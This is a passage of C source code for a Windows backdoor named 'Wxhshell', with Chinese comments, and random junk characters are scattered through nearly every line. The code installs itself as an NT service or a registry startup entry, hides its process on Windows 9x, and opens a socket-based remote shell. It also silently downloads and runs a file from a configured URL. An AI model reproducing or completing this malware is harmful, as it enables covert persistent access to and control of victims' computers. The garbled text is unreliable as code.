Rj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (+hK%}K> KD.]i' d< CloseHandle(hProcess); y$M%2mh` =:U`k0rn! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +:/%3}` if(hProcess==NULL) return 0; :7;@ZEe as=fCuJ HMODULE hMod; %^6F_F_jS char procName[255]; + Vdpy( unsigned long cbNeeded; NDokSw- YtLt*Ig% if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 86a\+Kz%%L Q\0'lQJdy CloseHandle(hProcess); E' uZA */S_Icf if(strstr(procName,"services")) return 1; // 以服务启动 Ab;.5O$y t sRdvFFq return 0; // 注册表启动 E _|<jy$` } )D%~`,#pQ @IZnFHN // 主模块 :.`2^ int StartWxhshell(LPSTR lpCmdLine) u9p$YJ { j![\& z SOCKET wsl; ql~J8G9 BOOL val=TRUE; u_Z+;{]Pj int port=0; e&>2
n struct sockaddr_in door; f*
wx< fI|$K)K if(wscfg.ws_autoins) Install(); + LJ73
! 4?01s-Y port=atoi(lpCmdLine); L-&\\{X KqP#6^ _ if(port<=0) port=wscfg.ws_port; )=(kBWM M869MDo WSADATA data; *qpSXmOz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M )(DZ} |k9
C/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NwfVL4Xg setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tO&^>&;5 door.sin_family = AF_INET; pTuS*MYz door.sin_addr.s_addr = inet_addr("127.0.0.1"); QTnP'5y door.sin_port = htons(port); ksm~<;td ,`sv1xwd if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I(
Mm?9F closesocket(wsl); K@%].: return 1; z{r}~{{E } HK%7g Pc]HP if(listen(wsl,2) == INVALID_SOCKET) { y<.5xq5_3 closesocket(wsl); ez[Vm:2K return 1; 4mbBmQV$# } u$`a7Lp,n Wxhshell(wsl); lk =<A"^S WSACleanup(); !PE]C!*gv& 1AFA=t:]p return 0; NCD04U5y dgP3@`YS } #p{4^ uEx-]F // 以NT服务方式启动 YchH~m| VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _','9| { {\\Tgs DWORD status = 0; U%/+B]6jP DWORD specificError = 0xfffffff; '0,^6'VWOV f,Ghb~y serviceStatus.dwServiceType = SERVICE_WIN32; !TcJ)0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; &,)&%Sg[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [PbOfxxgA serviceStatus.dwWin32ExitCode = 0; 7PF%76TO serviceStatus.dwServiceSpecificExitCode = 0; H0cA6I serviceStatus.dwCheckPoint = 0; ,]/X\t5]D serviceStatus.dwWaitHint = 0; TJ*T:?>e q0\6F^;M hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lr$zHI7_` if (hServiceStatusHandle==0) return; N)Z?Z+}h EBmt9S status = GetLastError(); nT)vNWT= if (status!=NO_ERROR) EEL,^3KR { iam1V)V serviceStatus.dwCurrentState = SERVICE_STOPPED; LXCx~;{\
serviceStatus.dwCheckPoint = 0; {7pli{` serviceStatus.dwWaitHint = 0; D3K8F@d serviceStatus.dwWin32ExitCode = status; <\S:'g"( serviceStatus.dwServiceSpecificExitCode = specificError;
W!(LF7_! SetServiceStatus(hServiceStatusHandle, &serviceStatus); >KKMcTOYY return; !1b;F*H } )WFr</z5bA E<*xx#p serviceStatus.dwCurrentState = SERVICE_RUNNING; C9 j|OSgk serviceStatus.dwCheckPoint = 0; YA5g';$H* serviceStatus.dwWaitHint = 0; [a<SDMR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Bj":rzY } wI "U7vr ??/
'kmd // 处理NT服务事件,比如:启动、停止 L{Vqh0QD& VOID WINAPI NTServiceHandler(DWORD fdwControl) pmYHUj
# { SZCze"`[ switch(fdwControl) II=79$n`G { PTV:IzoW case SERVICE_CONTROL_STOP: eJ81-!) serviceStatus.dwWin32ExitCode = 0; f`66h M[ serviceStatus.dwCurrentState = SERVICE_STOPPED; 9(<@O%YU serviceStatus.dwCheckPoint = 0; Yu`~U,m serviceStatus.dwWaitHint = 0; mXs; b
2r^ { Mrb) SetServiceStatus(hServiceStatusHandle, &serviceStatus); <QGXy= } _h1mF<\ X^ return; a"u0Q5J case SERVICE_CONTROL_PAUSE: 3HK\BS serviceStatus.dwCurrentState = SERVICE_PAUSED; ,9
a break; YKf0dh;O case SERVICE_CONTROL_CONTINUE: *DhiN serviceStatus.dwCurrentState = SERVICE_RUNNING; }W,[/)MO break; UkGCyGyZ[ case SERVICE_CONTROL_INTERROGATE: FML(4BY, break; Wh{tZ~c }; %e} Saf SetServiceStatus(hServiceStatusHandle, &serviceStatus); bi;1s'Y<D } g<
.qUBPKX 13/]DF,S"^ // 标准应用程序主函数 Ny)X+2Ae int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C+&l<
fM& { Eu04e N jb!i$/%w // 获取操作系统版本 ZqO^f*F>h OsIsNt=GetOsVer(); 18:%~>.! GetModuleFileName(NULL,ExeFile,MAX_PATH); 0+b1vhQ 7"D.L-H // 从命令行安装 )@bQu~Y if(strpbrk(lpCmdLine,"iI")) Install(); 3"\l u?-E Pj%|\kbNs // 下载执行文件 VJll if(wscfg.ws_downexe) { 'H <\x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pg7Yp2)Oli WinExec(wscfg.ws_filenam,SW_HIDE); x]ot 2 } &b& , E8&TO~"a]e if(!OsIsNt) { Ozf@6\/t // 如果时win9x,隐藏进程并且设置为注册表启动 >b4eL59 HideProc(); !jR=pI fq StartWxhshell(lpCmdLine); +^T@sa`[I } SByW[JE else @U}1EC{A if(StartFromService()) H}
g{Cr"Ex // 以服务方式启动 |LKXOU
c StartServiceCtrlDispatcher(DispatchTable); DM>eVS3} else VVOd]2{ // 普通方式启动 3sZ\0P} StartWxhshell(lpCmdLine); ,s;UfF .#pU=v#/[ return 0; UW
EV^ &"x }
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